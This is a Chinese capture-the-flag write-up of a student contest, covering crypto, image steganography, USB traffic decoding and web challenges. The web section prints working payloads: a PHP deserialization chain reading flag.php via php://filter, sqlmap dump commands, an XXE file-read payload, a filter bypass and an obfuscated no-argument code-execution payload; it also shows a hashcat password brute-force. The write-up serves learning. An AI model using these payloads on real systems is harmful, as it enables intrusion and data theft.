【复现】23春云曦期中考核 Writeup

云曦期中考核 Writeup

  • 1.Crypto
    • 1.1 @什马
    • 1.2 坐等密码破解求求了
    • 1.3 超简单rsa
  • 2.Misc
    • 2.1 隐写术
    • 2.2 又又又图片
    • 2.3 不一样的图片1
    • 2.4 流量分析
    • 2.5 形碎了一地
  • 3 Web
    • 3.1 SIGNIN
    • 3.2 新猫和老鼠
    • 3.3 baby_sql
    • *3.4 uploadfile?
    • 3.5 inject?
    • 3.6 师兄的奶茶
    • 3.7 hard_RCE

1.Crypto

1.1 @什马

【复现】23春云曦期中考核 Writeup_第1张图片
题目 “@什马” 是提示编码方式为 “埃特巴什码” ,“ctfencode”是提示了这个在线解码网站:CTF在线工具

【复现】23春云曦期中考核 Writeup_第2张图片
上面这一串内容就是数字加字母,实际上他们原本是16进制内容,而字母被进行了埃特巴什编码,什么?埃特巴什码是什么?喏:
埃特巴什码(Atbash Cipher)是一个系统:最后一个字母代表第一个字母,倒数第二个字母代表第二个字母。
在罗马字母表中,它是这样出现的:
常文:A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
密文:Z Y X W V U T S R Q P O N M L K J I H G F E D C B A
简单说就是倒序字母表,总之先来它一下埃特巴什码解码,得到以下内容:

【复现】23春云曦期中考核 Writeup_第3张图片
然后就得到了16进制嘛,就可以用HEX解码,获得flag:
【复现】23春云曦期中考核 Writeup_第4张图片

1.2 坐等密码破解求求了

【复现】23春云曦期中考核 Writeup_第5张图片
这是变异凯撒密码,什么是变异凯撒?先来说什么是凯撒?
凯撒密码:
它是一种替换加密的技术,明文中的所有字符都在字符表上向后(或向前)按照一个固定数目进行偏移后被替换成密文。例如,当偏移量是3的时候,所有的字母A将被替换成D,B变成E,以此类推。
变异凯撒密码:
就是凯撒密码偏移量不是固定的值,例如,其偏移量是对每个字符:从第一个字符的偏移量为5,第二个字符的偏移量为6……第n个字符的偏移量为4+n。偏移量依次递增这种。
ASCII码表展示:
【复现】23春云曦期中考核 Writeup_第6张图片
题目内容拿出来对照着看,看每一位偏移几位能得到flag:chgat;cWnSJZ@Q\7K)Ig
c==>f :3
h==>l :4
g==>l :5(为什么是l不是a,题目问题不用过分在意,后面可以多验证几位看是否符合)
a==>g :6
规律这不就出来了吗,3,4,5,6…,对照着ASCII码表,一个一个数就行了。
可以用脚本,脚本可以参考这个:

a='chgat;cWnSJZ@Q\\7K)Ig'
q=3
for i in a:
     print(chr(ord(i)+q),end='')
     q+=1

运行!flag!

【复现】23春云曦期中考核 Writeup_第7张图片

1.3 超简单rsa

【复现】23春云曦期中考核 Writeup_第8张图片

考核那会看到rsa时刚准备大战一场的,结果被rar加密拦住了去路,这里使用一个工具爆破rar解压密码:Hashcat
它的官网在这:hashcat
它支持多种hash散列算法,支持对rar、office、pdf、windows账户、wifi等多种密码的破解。首先前往Hashcat官网下载软件包,点击这个下载已经编译生成了直接可以运行的exe可执行文件:

【复现】23春云曦期中考核 Writeup_第9张图片

下载好Hashcat软件包之后建议在主目录下的地址栏中输入“cmd”通过命令行运行Hashcat:

【复现】23春云曦期中考核 Writeup_第10张图片

同时,在使用Hashcat进行密码破解的时候需要辅助工具来获取加密文件的Hash,此处选用John the Ripper(点我下载)来获取加密文件的Hash,点击这个下载:

【复现】23春云曦期中考核 Writeup_第11张图片

john也是通过命令行来运行,还需要配置一下环境变量:将john的run目录添加到PATH当中:

在这里插入图片描述

把easyrsa.rar放到run目录下,然后在run目录打开cmd命令行运行john:

rar2john.exe easyrsa.rar

输出rar的哈希值:冒号后面的部分就是:

【复现】23春云曦期中考核 Writeup_第12张图片

然后在Hashcat的主目录打开cmd运行命令:

hashcat.exe -m 13000 -a 3 $rar5$16$3e01eda6ad903866f3e9af32ea371a40$15$4a3904084188c75380e4861930426283$8$6aedbe0f372f9a99 ?d?d?d?d -o out.txt

运行界面:

【复现】23春云曦期中考核 Writeup_第13张图片

解释一下命令:
-m 13000 :指定哈希类型为rar5;
-a 3 :指定破解模式为使用指定掩码破解,就是上面john获取到的掩码;
-o out.txt :将输出结果存储到out.txt文件;

受限于篇幅,请参考:
宇宙最强开源破解密码利器:Hashcat 第一篇
黑客工具之Hashcat详解

爆破的结果已经存储到了out.txt文件中,冒号后面就是:

在这里插入图片描述

到这里终于步入正题,题目如下:

BOb给Alice传输了一段数据,通过监听你得到了n=16254707021883930518807493412586769230167 c=15308821457767509487737881728693150346158 e=65537,你可以得到密文吗?
注:此题正解为flag{xxxxxxxxxxx},xxxxxxxxx即为你获取到的数据

对n进行分解(分解得到p,q,只要知道p和q,就能解出任何rsa)
在线查询分解网站:http://www.factordb.com/index.php

【复现】23春云曦期中考核 Writeup_第14张图片

得到p,q就可以用脚本轻松秒杀:

import gmpy2

p = 134783462951870118163
q = 120598674836603140909
e = 65537
c = 15308821457767509487737881728693150346158

n = p * q
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)

m = pow(c, d, n)

print(m)

【复现】23春云曦期中考核 Writeup_第15张图片

套上flag{}就完了!

2.Misc

2.1 隐写术

【复现】23春云曦期中考核 Writeup_第16张图片
图片隐写,这张图片打开发现不完整,没显示完全,出题者修改了图片高度,查看图片属性
在这里插入图片描述
【复现】23春云曦期中考核 Writeup_第17张图片
570是图片宽度,这个数字的16进制为23A,100为图片的高度,这个数字的16进制为64。我为什么要提起这个16进制呢?因为方便我在工具中修改它时找到它在哪。使用的工具为010 editor。

【复现】23春云曦期中考核 Writeup_第18张图片

如图,023A是宽度,0064是高度,高度改一个值,改成023A就够了,把他的高度拉高,让他能够展示完全所隐藏的信息:

【复现】23春云曦期中考核 Writeup_第19张图片

诺,flag直接显示出来辽。需要注意区分小写L和大写i。

2.2 又又又图片

【复现】23春云曦期中考核 Writeup_第20张图片

解压后:

【复现】23春云曦期中考核 Writeup_第21张图片
pass.txt里面是经过编码的内容,编码方式是base100(emoji编码)。

【复现】23春云曦期中考核 Writeup_第22张图片

密码是:no_password,是什么的密码?
pass.txt旁边不还有一个图片吗?图片里面隐写了需要解压密码的压缩包,一般都这样。
拓展一点芝士:常见文件头,文件尾总结:

【复现】23春云曦期中考核 Writeup_第23张图片
【复现】23春云曦期中考核 Writeup_第24张图片

你看我在文件中搜索504B就搜到了,说明是隐写了zip文件在图片里面。

【复现】23春云曦期中考核 Writeup_第25张图片

给这小子提出来,打包成zip文件。
具体操作如下:
选中504B及其之后所有内容,Ctrl+Shift+C复制;然后:

在这里插入图片描述

创建一个新HEX文件,然后Ctrl+Shift+Ctrl+Shift+V粘贴;然后保存为zip文件:
在这里插入图片描述

保存成功打开看看:

【复现】23春云曦期中考核 Writeup_第26张图片

是吧,需要解压密码,刚刚的密码拿过来,一下就解开了。

【复现】23春云曦期中考核 Writeup_第27张图片

解压出来是这玩意儿,看这玩意儿的清晰度我就想到用Stegsolve,但其实并不是,用记事本打开,就找到flag了!

【复现】23春云曦期中考核 Writeup_第28张图片
本题完结!

2.3 不一样的图片1

【复现】23春云曦期中考核 Writeup_第29张图片

考核时没有做出来很大一部分原因是不了解Stegsolve这个工具的功能,有工具用不好。
因为当时用过,但是没找出来。
题目所给是这样一张图片:

【复现】23春云曦期中考核 Writeup_第30张图片

使用图片隐写解析器Stegsolve来解析,在点到Alpha0,Green0,Blue0时发现有东西:

【复现】23春云曦期中考核 Writeup_第31张图片

但这里是竖排的,需要经过处理才行,点击Data Extract:数据提取,左边RGBA颜色通道勾选刚才说的Alpha0,Green0,Blue0;右边的Extra By(额外的)和Bit Order(位顺序)和Bit Plane Order(位平面的顺序)分别勾选Column(列),MSB first(一串数据的最高位),BRG(一般图片是24位 也就是3个8 大家可以想像成三明治 比如BRG就是B为三明治第一层 R为第二层 G为第三层)受限于篇幅,请参考这篇:stegsolve图片隐写解析器的使用

【复现】23春云曦期中考核 Writeup_第32张图片

然后预览(Preview)就看到flag了:

【复现】23春云曦期中考核 Writeup_第33张图片

此题完!

2.4 流量分析

【复现】23春云曦期中考核 Writeup_第34张图片

这题收获颇丰!复现过程认识到了USB流量,键盘流量。
哪样是USB流量?哪样又是键盘流量?是不是还有鼠标流量?
答:USB流量指的是USB设备接口的流量,攻击者能够通过监听usb接口流量获取键盘敲击键、鼠标移动与点击、存储设备的铭文传输通信、USB无线网卡网络传输内容等等。在CTF中,USB流量分析主要以键盘和鼠标流量为主。
USB协议数据部分在Leftover Capture Data域中,本题考了键盘流量,就是标出的这里:

在这里插入图片描述

数据长度为八个字节。其中键盘击键信息集中在第三个字节中。
如图,发现击键信息为0x00,即没敲,哈哈。
键位映射关系参考:《USB键盘协议中键码》中的HID Usage ID

好了我懂原理了,但是怎么解题?
我需要用到kali中的工具:tshark
把流量文件放到kali当中去,使用这个命令将capdata提取出来:

tshark -r test.pcapng -T fields -e usb.capdata | sed '/^\s*$/d' > usbdata.txt #提取并去除空行

像这样:

【复现】23春云曦期中考核 Writeup_第35张图片

根据《USB键盘协议中键码》中的HID Usage ID将数据还原成键位,可写一个Python脚本进行快速转换。

提取出来的数据可能会带冒号,也可能不带(有可能和wireshark的版本相关),但是一般的脚本都会按照有冒号的数据来识别。
有冒号时提取数据的[6:8];无冒号时数据在[4:6],那我不管,我是一个固执的人(bushi),统一把他干成有冒号的,使用脚本来给提取到的usbdata.txt内容添加冒号。

脚本1:给提取内容加冒号:

f=open('usbdata.txt','r')
fi=open('out.txt','w')
while 1:
    a=f.readline().strip()
    if a:
        if len(a)==16: # 鼠标流量的话len改为8
            out=''
            for i in range(0,len(a),2):
                if i+2 != len(a):
                    out+=a[i]+a[i+1]+":"
                else:
                    out+=a[i]+a[i+1]
            fi.write(out)
            fi.write('\n')
    else:
        break

fi.close()

运行成功得到如下文件:

【复现】23春云曦期中考核 Writeup_第36张图片

提取出键盘流量后需要用脚本还原数据对应的信息。
脚本2:转换数据对应的信息:

normalKeys = {
    "04":"a", "05":"b", "06":"c", "07":"d", "08":"e",
    "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j",
     "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o",
      "13":"p", "14":"q", "15":"r", "16":"s", "17":"t",
       "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y",
        "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4",
         "22":"5", "23":"6","24":"7","25":"8","26":"9",
         "27":"0","28":"","29":"","2a":"", "2b":"\t",
         "2c":"","2d":"-","2e":"=","2f":"[","30":"]","31":"\\",
         "32":"","33":";","34":"'","35":"","36":",","37":".",
         "38":"/","39":"","3a":"","3b":"", "3c":"","3d":"",
         "3e":"","3f":"","40":"","41":"","42":"","43":"",
         "44":"","45":""}
shiftKeys = {
    "04":"A", "05":"B", "06":"C", "07":"D", "08":"E",
     "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J",
      "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O",
       "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T",
        "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y",
         "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$",
          "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")",
          "28":"","29":"","2a":"", "2b":"\t","2c":"",
          "2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"","33":"\"",
          "34":":","35":"","36":"<","37":">","38":"?","39":"","3a":"",
          "3b":"", "3c":"","3d":"","3e":"","3f":"","40":"",
          "41":"","42":"","43":"","44":"","45":""}
output = []
keys = open('out.txt')
for line in keys:
    try:
        if line[0]!='0' or (line[1]!='0' and line[1]!='2') or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0' or line[6:8]=="00":
             continue
        if line[6:8] in normalKeys.keys():
            output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]=='2']
        else:
            output += ['[unknown]']
    except:
        pass

keys.close()

flag=0
print("".join(output))
for i in range(len(output)):
    try:
        a=output.index('')
        del output[a]
        del output[a-1]
    except:
        pass

for i in range(len(output)):
    try:
        if output[i]=="":
            flag+=1
            output.pop(i)
            if flag==2:
                flag=0
        if flag!=0:
            output[i]=output[i].upper()
    except:
        pass

print ('output :' + "".join(output))

运行成功得到flag,这题完!

【复现】23春云曦期中考核 Writeup_第37张图片

2.5 形碎了一地

【复现】23春云曦期中考核 Writeup_第38张图片
文件解压后是一堆拼图,加一堆零一。很明显了,图片拼接起来是二维码,零一通过转化也是二维码

【复现】23春云曦期中考核 Writeup_第39张图片
图片拼接的脚本:

import os
from PIL import Image
m=Image.new('RGB',(400,400))#新建拼接后的文件,根据二维码大小自定义
images=[]#储存文件名用的字符串
path="C:\\Users\\1\\Downloads\\haha\\haha\\misc_love"#文件夹的路径
for cuedir,dirs,filename in os.walk(path):
    for files in filename:
        f=eval(files.split(".")[0])#将.前面文件名单独储存,并化为数字
        images.append(f)#储存文件夹内的图片名称
images.sort()#整理文件名顺序
left=0
right=0#初始化图片位置为右上角
lenth=20#这里是拼接的图片的宽度,一般长宽一致
print(range(len(images)))
for i in range(len(images)):
    image=Image.open(path+f"\\{images[i]}.png")#读入图片
    m.paste(image, (left,right,left+lenth,right+lenth))#粘贴图片
    left += lenth#初始位置向左移动
    if (i+1) % 20==0:#当一行拼接完成后换行,这里数字填一行需要拼接多少个图片
        left=0
        right+=lenth
m.save("C:\\Users\\1\\Downloads\\haha\\haha\\misc_love\\combined.jpg")#保存拼接完成后的图片

运行成功后的结果,在你设置的目录下发现拼接完成的文件:

【复现】23春云曦期中考核 Writeup_第40张图片

扫码得到的结果是前半段flag:flag{Never_give_up_
还有后半段,被放在了flag.txt中。

【复现】23春云曦期中考核 Writeup_第41张图片

全是01的数字串,且数字的长度为一个整数的平方:50*50,有可能是以0、1表示黑或者白的一个像素,这样就可以生成一个正方形的像素图,以前遇到过这样的题目生成了一个二维码,扫描二维码得到Flag。
这里利用Python3的PIL中的Image库,用01数字串生成一个二维码:

from PIL import Image

MAX = 50 # 数字的长度为一个整数的平方(如36^2=1296)
pic = Image.new("RGB",(MAX,MAX))
str ="0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111111111110011000010000100000011111111111000000011111111111100110001100001000001111111111110000000110000000001000000000110010011011000000000100000001100000000010000000001100100110110000000001000000011001111100100000000011100110001100111110010000000110011111001000000000110000000011001111100100000001100111110010011001001100000110110011111001000000011001111100100001000111100011101100111110010000000110011111001000011011111001111011001111100100000001100000000010000111000011100000110000000001000000011000000000100001110000111000001100000000010000000111111111111001100100110010011011111111111100000000000000000000000000001101100110000000000000000000000000000000000000000011111111100000000000000000000000010011111001111111000011100100000010000100000000000110111110011111110000111001000000100001000000011111110011000001110000001000010000111001110000000011111100100000011100000010000100001110011100000000000000110010011000000000000110110000111111000000001000010000001110000001100000000000000000000000000110000100000011100000111000000000001100000000000000000100111110000000011100011000110011000000000000000001101111100000001111000110000100100000000000000001111111110001111001111001100000110001111100000000000000111100011110111111000000001100000111000000011000001111111111101111111000010011111001110000000001111111110000000100001111100111001100011000000000011111111100000001000011111001110011000110000000011001111111111110011100000001111111111110000000000010011111111111100111000000011111111111100000000000000000000000011001000000011110000010011001000000000111111111000001111110000001100100111000110000000111111111111000011111110000011011001110011100000001100000000010011111000000000110000011000110000000011000000000100111110000000001100000110001100000000110011111001001100100001001111111111110000000000001100111110010000001000011011111111111110000000000011001111100100000000000111111100100111111100000000110011111001001100000000001100011111111100100000001100111110010011000000000011000011111111001000000011000000000100001110011001000010000000001100000000110000000001000011100110110000100000000011000000001111111111110000001000011100111111111100111100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
i=0
for y in range(0,MAX):
    for x in range(0,MAX):
        if(str[i] == '1'):
            pic.putpixel([x,y],(0,0,0))
        else:pic.putpixel([x,y],(255,255,255))
        i = i+1
pic.show()
pic.save("flag.png")


运行成功后会将脚本所作的图保存并打开,扫描二维码以获得剩下的flag字段。
此题完!

3 Web

3.1 SIGNIN

【复现】23春云曦期中考核 Writeup_第42张图片

这是签到题,使用BP抓包即可,手速快的话甚至可截图,不过多赘述了哈。

【复现】23春云曦期中考核 Writeup_第43张图片

我就截到了,20年单身不是吹的。

在这里插入图片描述

3.2 新猫和老鼠

他们说:看到unserialize就明白这道题考php反序列化。
【复现】23春云曦期中考核 Writeup_第44张图片
【复现】23春云曦期中考核 Writeup_第45张图片

他们说考点是:
“__toString()”是php中的一个魔术方法,在把对象转换成字符串时自动调用。用于:一个类被当成字符串时应怎样回应;该方法必须返回一个字符串,否则将发出一条“E_RECOVERABLE_ERROR”级别的致命错误。
意思么就是,当一个对象被当成字符串输出时,php会自动调用该对象的__toString()方法。
die()与echo的作用类似,会输出字符串。
写payload!

<?php

class mouse
{
    public $v;

    public function __construct()
    {
        $this->v = 'php://filter/convert.base64-encode/resource=flag.php';
    }

}


class cat
{
    public $a;
    public $b;
    public $c;
    public function __construct()
    {
        $this->b = &$this->a; // &是取地址符号,b将指向a的地址空间,这时a和b都是指向同一个地址空间,给b赋值就相当于给a赋值。
        $this->c = new mouse();
    }
}

$abc = new cat();
echo serialize($abc);

在mouse类和cat类重新给变量赋值了,mouse里面用了个php://伪协议流读flag,cat里面的b变量指向a的空间地址,也就是b变成了一个指针变量,此时给b赋值就是给a赋值,重新把a原本的dog类覆盖了。然后c赋值为mouse类,最终用die()输出a,die()和echo一样输出字符串,这样子就触发mouse类中的__tostring魔术方法。

payload序列化后是这样:
O:3:"cat":3:{s:1:"a";N;s:1:"b";R:2;s:1:"c";O:5:"mouse":1:{s:1:"v";s:52:"php://filter/convert.base64-encode/resource=flag.php";}}

到这里基本就结束了,只需要传参/?cat=O:3:“cat”:3:{s:1:“a”;N;s:1:“b”;R:2;s:1:“c”;O:5:“mouse”:1:{s:1:“v”;s:52:“php://filter/convert.base64-encode/resource=flag.php”;}}

【复现】23春云曦期中考核 Writeup_第46张图片

传参得到的这一串东东:PD9waHAKJGZsYWc9ImZsYWd7YjY3YjQ4NWM4NTZkNDc0YjI5ZWM4OGQ5NGFjNmY4NjF9IjsKPz4K
给它来一下base64解码,即得到flag,此题终结!

【复现】23春云曦期中考核 Writeup_第47张图片

3.3 baby_sql

【复现】23春云曦期中考核 Writeup_第48张图片

考核的时候没能做出来,因为当时只会手注,这又是一个布尔盲注,累个半死没注出来。
复现的时候用了sqlmap一下就跑出来了,sqlmap一把梭真甜美爽啊!

【复现】23春云曦期中考核 Writeup_第49张图片

经过测试(1’ or 1=1 – q),发现是一个布尔盲注,手注也能注出来,但是工作量实在大,手注的意义更多的是在于学习方法吧!sqlmap可以跑,怎么跑呢?
这是POST请求方式嘛,sqlmap进行POST注入的方法是:
BP抓包,抓到的内容导出为一个文本文件,然后sqlmap跑这个文件。很简单吧!
我为什么没有想到呢?
第一步:导出抓包文件1.txt

【复现】23春云曦期中考核 Writeup_第50张图片

第二步:跑数据库名。-r表示加载一个文件,用文件来跑的话就用-r的。

python sqlmap.py -r C:\Users\1\Desktop\1.txt --dbs

【复现】23春云曦期中考核 Writeup_第51张图片

OK!一跑就跑出来了,flag存在user数据库中:

【复现】23春云曦期中考核 Writeup_第52张图片

跑数据库user里面的表名:

python sqlmap.py -r C:\Users\1\Desktop\1.txt -D user --tables

【复现】23春云曦期中考核 Writeup_第53张图片
【复现】23春云曦期中考核 Writeup_第54张图片

跑出了flag表,接下来跑flag中的内容:

python sqlmap.py -r C:\Users\1\Desktop\1.txt -D user -T flag --dump

【复现】23春云曦期中考核 Writeup_第55张图片
【复现】23春云曦期中考核 Writeup_第56张图片

成功得到flag!

*3.4 uploadfile?

【复现】23春云曦期中考核 Writeup_第57张图片
等待环境复现ing。

3.5 inject?

【复现】23春云曦期中考核 Writeup_第58张图片
尝试注入,提示:“你都知道哪些注入,换一个注入试试?”
查看源码:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>inject</title>
</head>
<body >





<div class="main-content">
    <div class="main-content-inner">
        <div class="breadcrumbs ace-save-state" id="breadcrumbs">

        </div>
        <div class="page-content">

            <form method="post">
                <p>这是一个注入:</p>
                    <input type="text" name="xml" />
                    <input type="submit" name="submit" value="提交">
            </form>
            <p>你都知道哪些注入,换一个注入试试?</p>

        </div>
    </div>
</div>



</body>
</html>

发现是xml外部实体注入(XXE),受限于篇幅,请查看:
XXE知识总结,有这篇就够了!
XXE漏洞
那么可以读取本地文件,通过 file:// 可以读取本地文件:

<?xml version="1.0"?><!DOCTYPE ANY [
     <!ENTITY xxe SYSTEM "file:flag"> ]><a>&xxe;</a>

输入上述 XML 提交后,成功读取到 /flag文件内容:

【复现】23春云曦期中考核 Writeup_第59张图片

此题完!

3.6 师兄的奶茶

【复现】23春云曦期中考核 Writeup_第60张图片
进去就是源码审计:

<?php
header("Content-Type:text/html;charset=utf-8");
highlight_file(__FILE__);
declare(ticks=59999); //声明php解释器在执行 59999 条指令后触发一次 tick
function getflag(){
    readfile("./flag.php");
}
$rangeNum=$_GET['range'];
$rangeNum=substr($rangeNum,0,3);
echo "
"
; if($rangeNum>100000 || !isset($_GET['range'])) die("师兄怎么可能带你去喝奶茶茶"); $regis_call=$_GET['func']; $spec=array("\\",".","(",")","[","]","|","&","$","^","%","="); $regis_call=str_replace($spec,"",$regis_call); if(!isset($_GET['func']) || preg_match('/call|invoke|shell|php|sys|pass|user|sort|create|file|shutdown|static|get|foo|sleep|exec|eval|preg|str|set/i',$regis_call) || strlen($regis_call)<10 || strlen($regis_call)>30) die("到底还要我怎样才能喝到师兄的奶茶茶"); $regis_call('getflag'); $i=0; while($i<$rangeNum) $i++; //递增变量 $i,直到它的值达到 $rangeNum print("师兄,我想喝奶茶茶!"); echo "
"
; print("去源代码里喝") ?> 师兄怎么可能带你去喝奶茶茶

这是一个参数:range

$rangeNum=$_GET['range'];
$rangeNum=substr($rangeNum,0,3);
echo "
"
; if($rangeNum>100000 || !isset($_GET['range'])) die("师兄怎么可能带你去喝奶茶茶");

$rangeNum 是通过 $_GET['range'] 获取的参数,然后进行了截取操作:$rangeNum=substr($rangeNum,0,3);,这意味着传递给 range 参数的值会被截取为前三个字符。但在后续比较中,将使用整数形式进行比较。所以利用科学计算法来传:

range=1e5

又一个传参:func

$regis_call=$_GET['func'];
$spec=array("\\",".","(",")","[","]","|","&","$","^","%","=");
$regis_call=str_replace($spec,"",$regis_call);
if(!isset($_GET['func']) || preg_match('/call|invoke|shell|php|sys|pass|user|sort|create|file|shutdown|static|get|foo|sleep|exec|eval|preg|str|set/i',$regis_call) || strlen($regis_call)<10 || strlen($regis_call)>30)
    die("到底还要我怎样才能喝到师兄的奶茶茶");

通过 $regis_call = $_GET['func']; 将传入的 func 参数的值赋给变量 $regis_call
使用 $spec 数组中的特殊字符,通过 str_replace() 函数将 $regis_call 中的特殊字符替换为空字符串。
执行一系列的条件检查来验证传入的 func 参数是否满足安全要求。这些条件包括:
检查 $_GET['func'] 是否存在(即检查是否传入了 func 参数)。
使用 preg_match() 函数和正则表达式检查 $regis_call 是否包含特定的关键词(如 call、shell、eval 等)。
使用 strlen() 函数检查 $regis_call 的长度是否在 10 到 30 之间。如果传入的 func 参数不满足上述条件中的任何一个,代码将执行 die() 函数,输出一条错误信息并终止脚本执行。

因为有declare声明语句:php解释器在执行 59999 条指令后触发一次 tick
通过 register_tick_function() 注册一个函数作为 tick 函数,使其在每个 tick 发生时被调用。
(初次接触,如果我说的有误烦请指正)所以传参为:

func=register_tick_function

最终playload:

?range=1e5&func=register_tick_function

【复现】23春云曦期中考核 Writeup_第61张图片

flag在源码中:

【复现】23春云曦期中考核 Writeup_第62张图片

本题完!

3.7 hard_RCE

【复现】23春云曦期中考核 Writeup_第63张图片
给了一段源码,是一个简单的PHP脚本,实现了一个基本的命令执行功能:
【复现】23春云曦期中考核 Writeup_第64张图片
我们逐行分析它:

  1. show_source(__FILE__);: 这行代码用于显示当前文件的源代码。在这个脚本中,它的作用是将整个脚本的源代码输出到浏览器。

  2. $cmd = $_GET['cmd'];: 这行代码从GET请求参数中获取名为’cmd’的值,并将其赋给变量$cmd。这意味着可以通过在URL中添加?cmd=来传递命令。

  3. if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"||\ |,|.|-|+|=|/|\|<|>|$|?|^|&||/is',$cmd)){: 这行代码检查$cmd`的长度是否大于80个字符,或者是否匹配正则表达式中定义的一些特殊字符和关键字。如果满足这些条件之一,脚本将停止执行并显示"no hack!!!"。

  4. else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $cmd)){: 这行代码使用正则表达式替换操作符来检查 c m d 是否只包含一个单独的分号。如果是这样,它将执行 e v a l ( cmd是否只包含一个单独的分号。如果是这样,它将执行eval( cmd是否只包含一个单独的分号。如果是这样,它将执行eval(cmd),也就是执行用户传递的命令。

那么这题的解法就属于无参数的RCE绕过和取反,并且需要二维数组绕过。
重点学习无参数的RCE绕过

使用?cmd传命令phpinfo();,不能直接传对吧?先进行取反。phpinfo();取反后:

[~%8f%97%8f%96%91%99%90][!%FF]();

注意:[!%FF]是0的意思,因为前面是个数组,加一个[!%FF]是取数组里面的第0项。

取反之后可以直接传参:

http://192.168.31.212:2804/?cmd=[~%8f%97%8f%96%91%99%90][!%FF]();

【复现】23春云曦期中考核 Writeup_第65张图片

flag直接藏在了php信息中,搜索flag

【复现】23春云曦期中考核 Writeup_第66张图片
本题完结!

你可能感兴趣的:(数学建模)